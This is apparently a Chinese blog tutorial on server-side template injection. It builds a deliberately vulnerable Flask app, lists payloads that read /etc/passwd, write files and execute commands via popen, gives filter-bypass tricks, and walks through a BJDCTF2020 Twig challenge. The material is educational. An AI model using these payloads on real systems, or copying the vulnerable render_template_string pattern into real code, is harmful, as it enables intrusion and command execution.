SSTI简介

SSTI,即服务端模板注入,起因是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,从而导致各种各样的问题。

Python SSTI(flask)

首先,我们先写一个简单的flask(说起SSTI就想到flask框架),由于我用的是pycharm,所以可以直接创建项目。
app.py代码如下:

from flask import Flask#flask需要自己安装
from flask import render_template
from flask import request

app = Flask(__name__)


@app.route('/',methods=['GET','POST'])
def hello_world():
    return render_template("index.html", title='Home', user=request.args.get("key"))


if __name__ == '__main__':
    app.run()

并创建文件夹如下:

python自带的ssim函数_html


在templates中写入index.html文件如下:(templates文件夹为渲染文件所在位置)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>This is a test</title>
</head>
<body>
<h1>hello.{{ user }}</h1>
</body>
</html>

此时运行便可得到

python自带的ssim函数_bc_02


打开127.0.0.1:5000,传入参数key={{2*3}}可以看到:

python自带的ssim函数_html_03


此时并没有执行,因为模板渲染已经不可控了。但是,当我们把app.py中

def hello_world():
    return render_template("index.html", title='Home', user=request.args.get("key"))

换成

def hello_world():
    code = request.args.get('id')
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(code)
    return render_template_string(template)

此时,问题就大了,因为它直接将变量的内容当作字符串进行输出,就会造成下面的结果:

python自带的ssim函数_html_04


可以看见,它直接将id算出来了。我们就可以进行模板注入。

这里我们需要知道python中一些特殊的类:

__class__#返回调用的参数类型。
__base__#返回基类
__mro__#允许我们在当前Python环境下追溯继承树
__subclasses__()#返回子类

在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法(object类是所有类的基类),比如最简单的payload"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('dir').read()就是利用object类的第134个子类(os._wrap_close类)并将其初始化,再利用全局变量来达到命令执行的目的。

"".__class__返回的是<class 'str'>"".__class__.bases__返回的是(<class 'object'>,)"".__class__.__bases__[0].__subclasses__返回的是所有类
"".__class__.__bases__[0].__subclasses__[133]返回的是<class 'os._wrap_close'>__init__用来初始化类
__globals__是全局来查找所有的方法及变量及参数
__globals__['popen']来调用popen方法

下面是一些payload:
读/写文件:

[].__class__.bases__[0].__subclasses__()[40]('/etc/passwd').read()
''.__class__.bases__[0].__subclasses__()[40]('/var/www/html').write('test')

命令执行:

"".__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('whoami').read()
"".__class__.bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('whoami').read()

还有一些绕过小技巧:

  1. 过滤了关键字,可以用拼接法,比如过滤了globals,则可以用'glo'+'bals'
  2. 过滤了中括号,可以用__getitem__,原来为:''.__class__.__mro__[2]可换成''.__class__.__mro__.getitem__(2)
  3. 过滤{{}},可用{%%}代替。

还有其他技巧和payload,可以看p师傅的

PHP SSTI(Twig)

这个我就直接上题吧,[BJDCTF2020]The mystery of ip,因为PHP学得比较多,也很简单,基本一看就懂,就跟着流程走一遍吧。

打开题目,看到flag页面,点进去,发现会显示IP:

python自带的ssim函数_bc_05


考虑XFF头或者referer头,测试后发现是XFF头:

python自带的ssim函数_bc_06


测试后发现是SSTI注入:

python自带的ssim函数_python自带的ssim函数_07


执行PHP代码:

python自带的ssim函数_python自带的ssim函数_08


得到flag。

值得注意的是,SSTI的时候,语句不需要加上分号。